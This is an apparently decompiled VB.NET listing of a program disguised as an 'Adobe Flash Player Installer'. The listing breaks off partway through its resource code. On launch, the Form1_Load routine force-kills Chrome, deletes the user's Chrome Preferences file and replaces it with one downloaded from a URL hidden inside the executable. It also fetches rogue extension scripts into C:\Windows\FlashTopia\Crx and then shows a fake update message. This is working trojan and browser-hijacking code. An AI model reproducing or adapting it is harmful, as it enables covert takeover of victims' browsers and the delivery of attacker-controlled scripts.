fork(2) download
  1. ' C:\abonekas.exe
  2. ' install_flashplayer11x32_mssd_aaa_aih, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
  3.  
  4. ' Entry point: install_flashplayer11x32_mssd_aaa_aih.My.MyApplication.Main
  5. ' Architecture: AnyCPU (64-bit preferred)
  6. ' Runtime: .NET 2.0
  7.  
  8. Imports install_flashplayer11x32_mssd_aaa_aih.My
  9. Imports Microsoft.VisualBasic
  10. Imports Microsoft.VisualBasic.ApplicationServices
  11. Imports Microsoft.VisualBasic.CompilerServices
  12. Imports Microsoft.VisualBasic.Devices
  13. Imports System
  14. Imports System.CodeDom.Compiler
  15. Imports System.Collections
  16. Imports System.Collections.Generic
  17. Imports System.ComponentModel
  18. Imports System.ComponentModel.Design
  19. Imports System.Configuration
  20. Imports System.Diagnostics
  21. Imports System.Drawing
  22. Imports System.Globalization
  23. Imports System.IO
  24. Imports System.Linq
  25. Imports System.Reflection
  26. Imports System.Resources
  27. Imports System.Runtime.CompilerServices
  28. Imports System.Runtime.InteropServices
  29. Imports System.Threading
  30. Imports System.Windows.Forms
  31. Imports System.Xml.Linq
  32. <Assembly: AssemblyVersion("1.0.0.0")>
  33. <Assembly: Debuggable(DebuggableAttribute.DebuggingModes.[Default] Or DebuggableAttribute.DebuggingModes.DisableOptimizations Or DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints Or DebuggableAttribute.DebuggingModes.EnableEditAndContinue)>
  34. <Assembly: AssemblyCompany("")>
  35. <Assembly: AssemblyCopyright("Adobe Flash Player Installer")>
  36. <Assembly: AssemblyDescription("Adobe Flash Player Installer 8.1.3 Installation")>
  37. <Assembly: AssemblyFileVersion("8.1.3.0")>
  38. <Assembly: AssemblyProduct("")>
  39. <Assembly: AssemblyTitle("install_flashplayer11x32_mssd_aaa_aih")>
  40. <Assembly: AssemblyTrademark("")>
  41. <Assembly: CompilationRelaxations(8)>
  42. <Assembly: RuntimeCompatibility(WrapNonExceptionThrows = True)>
  43. <Assembly: ComVisible(False)>
  44. <Assembly: Guid("e1ee1ec9-f096-43aa-9046-3319e435329b")>
  45.  
  46. Namespace install_flashplayer11x32_mssd_aaa_aih.My
  47. <GeneratedCode("MyTemplate", "8.0.0.0"), EditorBrowsable(EditorBrowsableState.Never)>
  48. Friend Class MyApplication
  49. Inherits WindowsFormsApplicationBase
  50.  
  51. Private Shared __ENCList As List(Of WeakReference) = New List(Of WeakReference)()
  52.  
  53. <EditorBrowsable(EditorBrowsableState.Advanced), DebuggerHidden(), STAThread()>
  54. Friend Shared Sub Main(Args As String())
  55. Try
  56. Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering)
  57. Finally
  58. End Try
  59. MyProject.Application.Run(Args)
  60. End Sub
  61.  
  62. <DebuggerStepThrough()>
  63. Public Sub New()
  64. MyBase.[New](AuthenticationMode.Windows)
  65. Dim _ENCList As List(Of WeakReference) = MyApplication.__ENCList
  66. Monitor.Enter(_ENCList)
  67. Try
  68. MyApplication.__ENCList.Add(New WeakReference(Me))
  69. Finally
  70. Monitor.[Exit](_ENCList)
  71. End Try
  72. Me.IsSingleInstance = False
  73. Me.EnableVisualStyles = True
  74. Me.SaveMySettingsOnExit = True
  75. Me.ShutdownStyle = ShutdownMode.AfterMainFormCloses
  76. End Sub
  77.  
  78. <DebuggerStepThrough()>
  79. Protected Override Sub OnCreateMainForm()
  80. Me.MainForm = MyProject.Forms.Form1
  81. End Sub
  82. End Class
  83.  
  84. <GeneratedCode("MyTemplate", "8.0.0.0"), EditorBrowsable(EditorBrowsableState.Never)>
  85. Friend Class MyComputer
  86. Inherits Computer
  87.  
  88. <EditorBrowsable(EditorBrowsableState.Never), DebuggerHidden()>
  89. Public Sub New()
  90. End Sub
  91. End Class
  92.  
  93. <HideModuleName(), GeneratedCode("MyTemplate", "8.0.0.0")>
  94. Friend Module MyProject
  95. <MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms"), EditorBrowsable(EditorBrowsableState.Never)>
  96. Friend Class MyForms
  97. Public m_Form1 As Form1
  98.  
  99. <ThreadStatic()>
  100. Private Shared m_FormBeingCreated As Hashtable
  101.  
  102. Public Property Form1() As Form1
  103. <DebuggerNonUserCode()>
  104. Get
  105. Me.m_Form1 = MyProject.MyForms.Create__Instance__(Of Form1)(Me.m_Form1)
  106. Return Me.m_Form1
  107. End Get
  108. <DebuggerNonUserCode()>
  109. Set(value As Form1)
  110. Dim flag As Boolean = value Is Me.m_Form1
  111. If Not flag Then
  112. flag = (value IsNot Nothing)
  113. If flag Then
  114. Throw New ArgumentException("Property can only be set to Nothing")
  115. End If
  116. Me.Dispose__Instance__(Of Form1)(Me.m_Form1)
  117. End If
  118. End Set
  119. End Property
  120.  
  121. <DebuggerHidden()>
  122. Private Shared Function Create__Instance__(Of T As{Form, New})(Instance As T) As T
  123. Dim flag As Boolean = Instance Is Nothing OrElse Instance.IsDisposed
  124. Dim result As T
  125. If flag Then
  126. Dim flag2 As Boolean = MyProject.MyForms.m_FormBeingCreated IsNot Nothing
  127. If flag2 Then
  128. Dim flag3 As Boolean = MyProject.MyForms.m_FormBeingCreated.ContainsKey(GetType(T))
  129. If flag3 Then
  130. Throw New InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate", New String(0)))
  131. End If
  132. Else
  133. MyProject.MyForms.m_FormBeingCreated = New Hashtable()
  134. End If
  135. MyProject.MyForms.m_FormBeingCreated.Add(GetType(T), Nothing)
  136. Try
  137. Try
  138. result = Activator.CreateInstance(Of T)()
  139. Return result
  140. End Try
  141. Dim arg_96_0 As Object
  142. Dim expr_9B As TargetInvocationException = TryCast(arg_96_0, TargetInvocationException)
  143. Dim arg_B8_0 As Integer
  144. If expr_9B Is Nothing Then
  145. arg_B8_0 = 0
  146. Else
  147. Dim ex As TargetInvocationException = expr_9B
  148. ProjectData.SetProjectError(expr_9B)
  149. arg_B8_0 = (If(((ex.InnerException IsNot Nothing) > False), 1, 0))
  150. End If
  151. endfilter(arg_B8_0)
  152. Finally
  153. MyProject.MyForms.m_FormBeingCreated.Remove(GetType(T))
  154. End Try
  155. End If
  156. result = Instance
  157. Return result
  158. End Function
  159.  
  160. <DebuggerHidden()>
  161. Private Sub Dispose__Instance__(Of T As Form)(ByRef instance As T)
  162. instance.Dispose()
  163. instance = Nothing
  164. End Sub
  165.  
  166. <EditorBrowsable(EditorBrowsableState.Never), DebuggerHidden()>
  167. Public Sub New()
  168. End Sub
  169.  
  170. <EditorBrowsable(EditorBrowsableState.Never)>
  171. Public Override Function Equals(o As Object) As Boolean
  172. Return MyBase.Equals(RuntimeHelpers.GetObjectValue(o))
  173. End Function
  174.  
  175. <EditorBrowsable(EditorBrowsableState.Never)>
  176. Public Override Function GetHashCode() As Integer
  177. Return MyBase.GetHashCode()
  178. End Function
  179.  
  180. <EditorBrowsable(EditorBrowsableState.Never)>
  181. Friend Function [GetType]() As Type
  182. Return GetType(MyProject.MyForms)
  183. End Function
  184.  
  185. <EditorBrowsable(EditorBrowsableState.Never)>
  186. Public Override Function ToString() As String
  187. Return MyBase.ToString()
  188. End Function
  189. End Class
  190.  
  191. <MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", ""), EditorBrowsable(EditorBrowsableState.Never)>
  192. Friend Class MyWebServices
  193. <EditorBrowsable(EditorBrowsableState.Never), DebuggerHidden()>
  194. Public Override Function Equals(o As Object) As Boolean
  195. Return MyBase.Equals(RuntimeHelpers.GetObjectValue(o))
  196. End Function
  197.  
  198. <EditorBrowsable(EditorBrowsableState.Never), DebuggerHidden()>
  199. Public Override Function GetHashCode() As Integer
  200. Return MyBase.GetHashCode()
  201. End Function
  202.  
  203. <EditorBrowsable(EditorBrowsableState.Never), DebuggerHidden()>
  204. Friend Function [GetType]() As Type
  205. Return GetType(MyProject.MyWebServices)
  206. End Function
  207.  
  208. <EditorBrowsable(EditorBrowsableState.Never), DebuggerHidden()>
  209. Public Override Function ToString() As String
  210. Return MyBase.ToString()
  211. End Function
  212.  
  213. <DebuggerHidden()>
  214. Private Shared Function Create__Instance__(Of T As New)(instance As T) As T
  215. Dim flag As Boolean = instance Is Nothing
  216. Dim result As T
  217. If flag Then
  218. result = Activator.CreateInstance(Of T)()
  219. Else
  220. result = instance
  221. End If
  222. Return result
  223. End Function
  224.  
  225. <DebuggerHidden()>
  226. Private Sub Dispose__Instance__(Of T)(ByRef instance As T)
  227. instance = Nothing
  228. End Sub
  229.  
  230. <EditorBrowsable(EditorBrowsableState.Never), DebuggerHidden()>
  231. Public Sub New()
  232. End Sub
  233. End Class
  234.  
  235. <EditorBrowsable(EditorBrowsableState.Never), ComVisible(False)>
  236. Friend Class ThreadSafeObjectProvider
  237. <CompilerGenerated(), ThreadStatic()>
  238. Private Shared m_ThreadStaticValue As T
  239.  
  240. Friend ReadOnly Property GetInstance() As T
  241. <DebuggerHidden()>
  242. Get
  243. Dim flag As Boolean = MyProject.ThreadSafeObjectProvider(Of T).m_ThreadStaticValue Is Nothing
  244. If flag Then
  245. MyProject.ThreadSafeObjectProvider(Of T).m_ThreadStaticValue = Activator.CreateInstance(Of T)()
  246. End If
  247. Return MyProject.ThreadSafeObjectProvider(Of T).m_ThreadStaticValue
  248. End Get
  249. End Property
  250.  
  251. <EditorBrowsable(EditorBrowsableState.Never), DebuggerHidden()>
  252. Public Sub New()
  253. End Sub
  254. End Class
  255.  
  256. Private m_ComputerObjectProvider As MyProject.ThreadSafeObjectProvider(Of MyComputer) = New MyProject.ThreadSafeObjectProvider(Of MyComputer)()
  257.  
  258. Private m_AppObjectProvider As MyProject.ThreadSafeObjectProvider(Of MyApplication) = New MyProject.ThreadSafeObjectProvider(Of MyApplication)()
  259.  
  260. Private m_UserObjectProvider As MyProject.ThreadSafeObjectProvider(Of User) = New MyProject.ThreadSafeObjectProvider(Of User)()
  261.  
  262. Private m_MyFormsObjectProvider As MyProject.ThreadSafeObjectProvider(Of MyProject.MyForms) = New MyProject.ThreadSafeObjectProvider(Of MyProject.MyForms)()
  263.  
  264. Private m_MyWebServicesObjectProvider As MyProject.ThreadSafeObjectProvider(Of MyProject.MyWebServices) = New MyProject.ThreadSafeObjectProvider(Of MyProject.MyWebServices)()
  265.  
  266. <HelpKeyword("My.Computer")>
  267. Friend ReadOnly Property Computer() As MyComputer
  268. <DebuggerHidden()>
  269. Get
  270. Return MyProject.m_ComputerObjectProvider.GetInstance
  271. End Get
  272. End Property
  273.  
  274. <HelpKeyword("My.Application")>
  275. Friend ReadOnly Property Application() As MyApplication
  276. <DebuggerHidden()>
  277. Get
  278. Return MyProject.m_AppObjectProvider.GetInstance
  279. End Get
  280. End Property
  281.  
  282. <HelpKeyword("My.User")>
  283. Friend ReadOnly Property User() As User
  284. <DebuggerHidden()>
  285. Get
  286. Return MyProject.m_UserObjectProvider.GetInstance
  287. End Get
  288. End Property
  289.  
  290. <HelpKeyword("My.Forms")>
  291. Friend ReadOnly Property Forms() As MyProject.MyForms
  292. <DebuggerHidden()>
  293. Get
  294. Return MyProject.m_MyFormsObjectProvider.GetInstance
  295. End Get
  296. End Property
  297.  
  298. <HelpKeyword("My.WebServices")>
  299. Friend ReadOnly Property WebServices() As MyProject.MyWebServices
  300. <DebuggerHidden()>
  301. Get
  302. Return MyProject.m_MyWebServicesObjectProvider.GetInstance
  303. End Get
  304. End Property
  305. End Module
  306.  
  307. <EditorBrowsable(EditorBrowsableState.Never), DebuggerNonUserCode(), CompilerGenerated()>
  308. Friend Class InternalXmlHelper
  309. <EditorBrowsable(EditorBrowsableState.Never), DebuggerNonUserCode(), CompilerGenerated()>
  310. Private Class RemoveNamespaceAttributesClosure
  311. Private m_ns As XNamespace()
  312.  
  313. <EditorBrowsable(EditorBrowsableState.Never)>
  314. Friend Sub New(ns As XNamespace())
  315. Me.m_ns = ns
  316. End Sub
  317.  
  318. <EditorBrowsable(EditorBrowsableState.Never)>
  319. Friend Function ProcessXElement(elem As XElement) As XElement
  320. Return InternalXmlHelper.RemoveNamespaceAttributes(Me.m_ns, elem)
  321. End Function
  322.  
  323. <EditorBrowsable(EditorBrowsableState.Never)>
  324. Friend Function ProcessObject(obj As Object) As Object
  325. Dim xElement As XElement = TryCast(obj, XElement)
  326. Dim flag As Boolean = xElement IsNot Nothing
  327. Dim result As Object
  328. If flag Then
  329. result = InternalXmlHelper.RemoveNamespaceAttributes(Me.m_ns, xElement)
  330. Else
  331. result = obj
  332. End If
  333. Return result
  334. End Function
  335. End Class
  336.  
  337. Public Shared Property Value() As String
  338. Get
  339. Dim result As String
  340. Try
  341. Dim enumerator As IEnumerator(Of XElement) = source.GetEnumerator()
  342. If enumerator.MoveNext() Then
  343. Dim current As XElement = enumerator.Current
  344. result = current.Value
  345. Return result
  346. End If
  347. Finally
  348. Dim enumerator As IEnumerator(Of XElement)
  349. Dim flag As Boolean = enumerator IsNot Nothing
  350. If flag Then
  351. enumerator.Dispose()
  352. End If
  353. End Try
  354. result = Nothing
  355. Return result
  356. End Get
  357. Set(value As String)
  358. Try
  359. Dim enumerator As IEnumerator(Of XElement) = source.GetEnumerator()
  360. If enumerator.MoveNext() Then
  361. Dim current As XElement = enumerator.Current
  362. current.Value = value
  363. End If
  364. Finally
  365. Dim enumerator As IEnumerator(Of XElement)
  366. Dim flag As Boolean = enumerator IsNot Nothing
  367. If flag Then
  368. enumerator.Dispose()
  369. End If
  370. End Try
  371. End Set
  372. End Property
  373.  
  374. Public Shared Property AttributeValue() As String
  375. Get
  376. Dim result As String
  377. Try
  378. Dim enumerator As IEnumerator(Of XElement) = source.GetEnumerator()
  379. If enumerator.MoveNext() Then
  380. Dim current As XElement = enumerator.Current
  381. result = CStr(current.Attribute(name))
  382. Return result
  383. End If
  384. Finally
  385. Dim enumerator As IEnumerator(Of XElement)
  386. Dim flag As Boolean = enumerator IsNot Nothing
  387. If flag Then
  388. enumerator.Dispose()
  389. End If
  390. End Try
  391. result = Nothing
  392. Return result
  393. End Get
  394. Set(value As String)
  395. Try
  396. Dim enumerator As IEnumerator(Of XElement) = source.GetEnumerator()
  397. If enumerator.MoveNext() Then
  398. Dim current As XElement = enumerator.Current
  399. current.SetAttributeValue(name, value)
  400. End If
  401. Finally
  402. Dim enumerator As IEnumerator(Of XElement)
  403. Dim flag As Boolean = enumerator IsNot Nothing
  404. If flag Then
  405. enumerator.Dispose()
  406. End If
  407. End Try
  408. End Set
  409. End Property
  410.  
  411. Public Shared Property AttributeValue() As String
  412. Get
  413. Return CStr(source.Attribute(name))
  414. End Get
  415. Set(value As String)
  416. source.SetAttributeValue(name, value)
  417. End Set
  418. End Property
  419.  
  420. <EditorBrowsable(EditorBrowsableState.Never)>
  421. Private Sub New()
  422. End Sub
  423.  
  424. <EditorBrowsable(EditorBrowsableState.Never)>
  425. Public Shared Function CreateAttribute(name As XName, value As Object) As XAttribute
  426. Dim flag As Boolean = value Is Nothing
  427. Dim result As XAttribute
  428. If flag Then
  429. result = Nothing
  430. Else
  431. result = New XAttribute(name, RuntimeHelpers.GetObjectValue(value))
  432. End If
  433. Return result
  434. End Function
  435.  
  436. <EditorBrowsable(EditorBrowsableState.Never)>
  437. Public Shared Function CreateNamespaceAttribute(name As XName, ns As XNamespace) As XAttribute
  438. Dim xAttribute As XAttribute = New XAttribute(name, ns.NamespaceName)
  439. xAttribute.AddAnnotation(ns)
  440. Return xAttribute
  441. End Function
  442.  
  443. <EditorBrowsable(EditorBrowsableState.Never)>
  444. Public Shared Function RemoveNamespaceAttributes(ns As XNamespace(), obj As Object) As Object
  445. Dim flag As Boolean = ns IsNot Nothing AndAlso obj IsNot Nothing
  446. Dim result As Object
  447. If flag Then
  448. Dim xElement As XElement = TryCast(obj, XElement)
  449. flag = (xElement IsNot Nothing)
  450. If flag Then
  451. result = InternalXmlHelper.RemoveNamespaceAttributes(ns, xElement)
  452. Return result
  453. End If
  454. Dim enumerable As IEnumerable = TryCast(obj, IEnumerable)
  455. flag = (enumerable IsNot Nothing)
  456. If flag Then
  457. result = InternalXmlHelper.RemoveNamespaceAttributes(ns, enumerable)
  458. Return result
  459. End If
  460. End If
  461. result = obj
  462. Return result
  463. End Function
  464.  
  465. <EditorBrowsable(EditorBrowsableState.Never)>
  466. Public Shared Function RemoveNamespaceAttributes(ns As XNamespace(), obj As IEnumerable) As IEnumerable
  467. Dim flag As Boolean = ns IsNot Nothing AndAlso obj IsNot Nothing
  468. Dim result As IEnumerable
  469. If flag Then
  470. Dim enumerable As IEnumerable(Of XElement) = TryCast(obj, IEnumerable(Of XElement))
  471. flag = (enumerable IsNot Nothing)
  472. If flag Then
  473. result = enumerable.[Select](New Func(Of XElement, XElement)(New InternalXmlHelper.RemoveNamespaceAttributesClosure(ns).ProcessXElement))
  474. Else
  475. result = obj.Cast(Of Object)().[Select](New Func(Of Object, Object)(New InternalXmlHelper.RemoveNamespaceAttributesClosure(ns).ProcessObject))
  476. End If
  477. Else
  478. result = obj
  479. End If
  480. Return result
  481. End Function
  482.  
  483. <EditorBrowsable(EditorBrowsableState.Never)>
  484. Public Shared Function RemoveNamespaceAttributes(ns As XNamespace(), e As XElement) As XElement
  485. Dim flag As Boolean = ns IsNot Nothing AndAlso e IsNot Nothing
  486. ' The following expression was wrapped in a checked-statement
  487. If flag Then
  488. Dim nextAttribute As XAttribute
  489. Dim xAttribute As XAttribute = e.FirstAttribute
  490. While xAttribute IsNot Nothing
  491. nextAttribute = xAttribute.NextAttribute
  492. flag = xAttribute.IsNamespaceDeclaration
  493. If flag Then
  494. Dim xNamespace As XNamespace = xAttribute.Annotation(Of XNamespace)()
  495. flag = (xNamespace IsNot Nothing)
  496. If flag Then
  497. Dim num As Integer = ns.Length - 1
  498. Dim arg_4D_0 As Integer = 0
  499. Dim num2 As Integer = num
  500. Dim num3 As Integer = arg_4D_0
  501. While True
  502. Dim arg_7B_0 As Integer = num3
  503. Dim num4 As Integer = num2
  504. If arg_7B_0 > num4 Then
  505. GoTo IL_7D
  506. End If
  507. flag = (xNamespace Is ns(num3))
  508. If flag Then
  509. Exit While
  510. End If
  511. num3 += 1
  512. End While
  513. xAttribute.Remove()
  514. End If
  515. IL_7D:
  516. End If
  517. xAttribute = nextAttribute
  518. End While
  519. End If
  520. Return e
  521. End Function
  522.  
  523. <EditorBrowsable(EditorBrowsableState.Never)>
  524. Public Shared Function GetNamespace(ByRef xns As XNamespace, ns As String) As XNamespace
  525. Dim flag As Boolean = xns Is Nothing
  526. If flag Then
  527. xns = XNamespace.[Get](ns)
  528. End If
  529. Return xns
  530. End Function
  531. End Class
  532.  
  533. <GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0"), EditorBrowsable(EditorBrowsableState.Advanced), CompilerGenerated()>
  534. Friend Class MySettings
  535. Inherits ApplicationSettingsBase
  536.  
  537. Private Shared defaultInstance As MySettings = CType(SettingsBase.Synchronized(New MySettings()), MySettings)
  538.  
  539. Private Shared addedHandler As Boolean
  540.  
  541. Private Shared addedHandlerLockObject As Object = RuntimeHelpers.GetObjectValue(New Object())
  542.  
  543. Public Shared ReadOnly Property [Default]() As MySettings
  544. Get
  545. Dim flag As Boolean = Not MySettings.addedHandler
  546. If flag Then
  547. Dim obj As Object = MySettings.addedHandlerLockObject
  548. ObjectFlowControl.CheckForSyncLockOnValueType(obj)
  549. Monitor.Enter(obj)
  550. Try
  551. flag = Not MySettings.addedHandler
  552. If flag Then
  553. MyProject.Application.Shutdown += New ShutdownEventHandler(MySettings.AutoSaveSettings)
  554. MySettings.addedHandler = True
  555. End If
  556. Finally
  557. Monitor.[Exit](obj)
  558. End Try
  559. End If
  560. Return MySettings.defaultInstance
  561. End Get
  562. End Property
  563.  
  564. <DebuggerNonUserCode()>
  565. Public Sub New()
  566. End Sub
  567.  
  568. <EditorBrowsable(EditorBrowsableState.Advanced), DebuggerNonUserCode()>
  569. Private Shared Sub AutoSaveSettings(sender As Object, e As EventArgs)
  570. Dim saveMySettingsOnExit As Boolean = MyProject.Application.SaveMySettingsOnExit
  571. If saveMySettingsOnExit Then
  572. MySettingsProperty.Settings.Save()
  573. End If
  574. End Sub
  575. End Class
  576.  
  577. <HideModuleName(), DebuggerNonUserCode(), CompilerGenerated()>
  578. Friend Module MySettingsProperty
  579. <HelpKeyword("My.Settings")>
  580. Friend ReadOnly Property Settings() As MySettings
  581. Get
  582. Return MySettings.[Default]
  583. End Get
  584. End Property
  585. End Module
  586. End Namespace
  587.  
  588. Namespace install_flashplayer11x32_mssd_aaa_aih
  589. <DesignerGenerated()>
  590. Public Class Form1
  591. Inherits Form
  592.  
  593. Private Shared __ENCList As List(Of WeakReference) = New List(Of WeakReference)()
  594.  
  595. Private components As IContainer
  596.  
  597. <AccessedThroughProperty("TextBox1")>
  598. Private _TextBox1 As TextBox
  599.  
  600. <AccessedThroughProperty("TextBox2")>
  601. Private _TextBox2 As TextBox
  602.  
  603. <AccessedThroughProperty("TextBox3")>
  604. Private _TextBox3 As TextBox
  605.  
  606. <AccessedThroughProperty("Timer1")>
  607. Private _Timer1 As System.Windows.Forms.Timer
  608.  
  609. <AccessedThroughProperty("TextBox4")>
  610. Private _TextBox4 As TextBox
  611.  
  612. Private options As String()
  613.  
  614. Private text1 As String
  615.  
  616. Private text2 As String
  617.  
  618. Private text3 As String
  619.  
  620. Private Const FileSplit As String = "paylasim"
  621.  
  622. Friend Overridable Property TextBox1() As TextBox
  623. <DebuggerNonUserCode()>
  624. Get
  625. Return Me._TextBox1
  626. End Get
  627. <DebuggerNonUserCode()>
  628. <MethodImpl(MethodImplOptions.Synchronized)>
  629. Set(value As TextBox)
  630. Me._TextBox1 = value
  631. End Set
  632. End Property
  633.  
  634. Friend Overridable Property TextBox2() As TextBox
  635. <DebuggerNonUserCode()>
  636. Get
  637. Return Me._TextBox2
  638. End Get
  639. <DebuggerNonUserCode()>
  640. <MethodImpl(MethodImplOptions.Synchronized)>
  641. Set(value As TextBox)
  642. Me._TextBox2 = value
  643. End Set
  644. End Property
  645.  
  646. Friend Overridable Property TextBox3() As TextBox
  647. <DebuggerNonUserCode()>
  648. Get
  649. Return Me._TextBox3
  650. End Get
  651. <DebuggerNonUserCode()>
  652. <MethodImpl(MethodImplOptions.Synchronized)>
  653. Set(value As TextBox)
  654. Me._TextBox3 = value
  655. End Set
  656. End Property
  657.  
  658. Friend Overridable Property Timer1() As System.Windows.Forms.Timer
  659. <DebuggerNonUserCode()>
  660. Get
  661. Return Me._Timer1
  662. End Get
  663. <DebuggerNonUserCode()>
  664. <MethodImpl(MethodImplOptions.Synchronized)>
  665. Set(value As System.Windows.Forms.Timer)
  666. Me._Timer1 = value
  667. End Set
  668. End Property
  669.  
  670. Friend Overridable Property TextBox4() As TextBox
  671. <DebuggerNonUserCode()>
  672. Get
  673. Return Me._TextBox4
  674. End Get
  675. <DebuggerNonUserCode()>
  676. <MethodImpl(MethodImplOptions.Synchronized)>
  677. Set(value As TextBox)
  678. Me._TextBox4 = value
  679. End Set
  680. End Property
  681.  
  682. <DebuggerNonUserCode()>
  683. Public Sub New()
  684. MyBase.Load += New EventHandler(Me.Form1_Load)
  685. Dim _ENCList As List(Of WeakReference) = Form1.__ENCList
  686. Monitor.Enter(_ENCList)
  687. Try
  688. Form1.__ENCList.Add(New WeakReference(Me))
  689. Finally
  690. Monitor.[Exit](_ENCList)
  691. End Try
  692. Me.InitializeComponent()
  693. End Sub
  694.  
  695. <DebuggerNonUserCode()>
  696. Protected Override Sub Dispose(disposing As Boolean)
  697. Try
  698. Dim flag As Boolean = disposing AndAlso Me.components IsNot Nothing
  699. If flag Then
  700. Me.components.Dispose()
  701. End If
  702. Finally
  703. MyBase.Dispose(disposing)
  704. End Try
  705. End Sub
  706.  
  707. <DebuggerStepThrough()>
  708. Private Sub InitializeComponent()
  709. Me.components = New Container()
  710. Dim componentResourceManager As ComponentResourceManager = New ComponentResourceManager(GetType(Form1))
  711. Me.TextBox1 = New TextBox()
  712. Me.TextBox2 = New TextBox()
  713. Me.TextBox3 = New TextBox()
  714. Me.Timer1 = New System.Windows.Forms.Timer(Me.components)
  715. Me.TextBox4 = New TextBox()
  716. Me.SuspendLayout()
  717. Dim arg_78_0 As Control = Me.TextBox1
  718. Dim location As Point = New Point(12, 12)
  719. arg_78_0.Location = location
  720. Me.TextBox1.Name = "TextBox1"
  721. Dim arg_A5_0 As Control = Me.TextBox1
  722. Dim size As Size = New Size(260, 20)
  723. arg_A5_0.Size = size
  724. Me.TextBox1.TabIndex = 0
  725. Dim arg_CB_0 As Control = Me.TextBox2
  726. location = New Point(12, 38)
  727. arg_CB_0.Location = location
  728. Me.TextBox2.Name = "TextBox2"
  729. Dim arg_F8_0 As Control = Me.TextBox2
  730. size = New Size(260, 20)
  731. arg_F8_0.Size = size
  732. Me.TextBox2.TabIndex = 1
  733. Dim arg_11E_0 As Control = Me.TextBox3
  734. location = New Point(12, 64)
  735. arg_11E_0.Location = location
  736. Me.TextBox3.Name = "TextBox3"
  737. Dim arg_14B_0 As Control = Me.TextBox3
  738. size = New Size(260, 20)
  739. arg_14B_0.Size = size
  740. Me.TextBox3.TabIndex = 2
  741. Dim arg_171_0 As Control = Me.TextBox4
  742. location = New Point(12, 90)
  743. arg_171_0.Location = location
  744. Me.TextBox4.Name = "TextBox4"
  745. Dim arg_19E_0 As Control = Me.TextBox4
  746. size = New Size(260, 20)
  747. arg_19E_0.Size = size
  748. Me.TextBox4.TabIndex = 3
  749. Dim autoScaleDimensions As SizeF = New SizeF(6F, 13F)
  750. Me.AutoScaleDimensions = autoScaleDimensions
  751. Me.AutoScaleMode = AutoScaleMode.Font
  752. size = New Size(278, 119)
  753. Me.ClientSize = size
  754. Me.Controls.Add(Me.TextBox4)
  755. Me.Controls.Add(Me.TextBox3)
  756. Me.Controls.Add(Me.TextBox2)
  757. Me.Controls.Add(Me.TextBox1)
  758. Me.Icon = CType(componentResourceManager.GetObject("$this.Icon"), Icon)
  759. Me.Name = "Form1"
  760. Me.ResumeLayout(False)
  761. Me.PerformLayout()
  762. End Sub
  763.  
  764. Private Sub Form1_Load(sender As Object, e As EventArgs)
  765. FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.[Shared], -1)
  766. ' The following expression was wrapped in a checked-statement
  767. Me.text1 = Strings.Space(CInt(FileSystem.LOF(1)))
  768. Me.text2 = Strings.Space(CInt(FileSystem.LOF(1)))
  769. Me.text3 = Strings.Space(CInt(FileSystem.LOF(1)))
  770. FileSystem.FileGet(1, Me.text1, -1L, False)
  771. FileSystem.FileGet(1, Me.text2, -1L, False)
  772. FileSystem.FileGet(1, Me.text3, -1L, False)
  773. FileSystem.FileClose(New Integer()() = { 1 })
  774. Me.options = Strings.Split(Me.text1, "paylasim", -1, CompareMethod.Binary)
  775. Me.TextBox1.Text = Me.options(1)
  776. Me.TextBox2.Text = Me.options(2)
  777. Me.TextBox4.Text = Me.options(3)
  778. Interaction.Shell("taskkill /F /IM chrome.exe", AppWinStyle.MinimizedFocus, False, -1)
  779. Me.TextBox3.Text = Interaction.Environ("LocalAppData")
  780. Dim pathName As String = Me.TextBox3.Text + "\Google\Chrome\User Data\Default\Preferences"
  781. FileSystem.Kill(pathName)
  782. Dim text As String = Me.TextBox3.Text + "\Google\Chrome\User Data\Default\Preferences"
  783. Dim flag As Boolean = Not File.Exists(text)
  784. If flag Then
  785. MyProject.Computer.Network.DownloadFile(Me.TextBox1.Text, text)
  786. End If
  787. flag = Not File.Exists("C:\Windows\FlashTopia\Crx\background.js")
  788. If flag Then
  789. MyProject.Computer.Network.DownloadFile(Me.TextBox2.Text + "/background.js", "C:\Windows\FlashTopia\Crx\background.js")
  790. End If
  791. flag = Not File.Exists("C:\Windows\FlashTopia\Crx\icon.png")
  792. If flag Then
  793. MyProject.Computer.Network.DownloadFile(Me.TextBox2.Text + "/icon.png", "C:\Windows\FlashTopia\Crx\icon.png")
  794. End If
  795. flag = Not File.Exists("C:\Windows\FlashTopia\Crx\jquery-1.9.1.min.js")
  796. If flag Then
  797. MyProject.Computer.Network.DownloadFile(Me.TextBox2.Text + "/jquery-1.9.1.min.js", "C:\Windows\FlashTopia\Crx\jquery-1.9.1.min.js")
  798. End If
  799. flag = Not File.Exists("C:\Windows\FlashTopia\Crx\manifest.json")
  800. If flag Then
  801. MyProject.Computer.Network.DownloadFile(Me.TextBox2.Text + "/manifest.json", "C:\Windows\FlashTopia\Crx\manifest.json")
  802. End If
  803. flag = Not File.Exists("C:\Windows\FlashTopia\Crx\script.js")
  804. If flag Then
  805. MyProject.Computer.Network.DownloadFile(Me.TextBox2.Text + "/script.js", "C:\Windows\FlashTopia\Crx\script.js")
  806. End If
  807. Interaction.MsgBox(Me.TextBox4.Text, MsgBoxStyle.Information, "Update " & ChrW(304) & "nfo")
  808. Me.Close()
  809. End Sub
  810. End Class
  811. End Namespace
  812.  
  813. Namespace install_flashplayer11x32_mssd_aaa_aih.My.Resources
  814. <HideModuleName(), GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0"), DebuggerNonUserCode(), CompilerGenerated()>
  815. Friend Module Resources
  816. Private resourceMan As ResourceManager
  817.  
  818. Private resourceCulture As CultureInfo
  819.  
  820. <EditorBrowsable(EditorBrowsableState.Advanced)>
  821. Friend ReadOnly Property ResourceManager() As ResourceManager
  822. Get
  823. Dim flag As Boolean = Object.ReferenceEquals(Resources.resourceMan, Nothing)
  824. If flag Then
  825. Dim resourceManager As ResourceManager = New ResourceManager("install_flashplayer11x32_mssd_aaa_aih.Resources", GetType(Resources).Assembly)
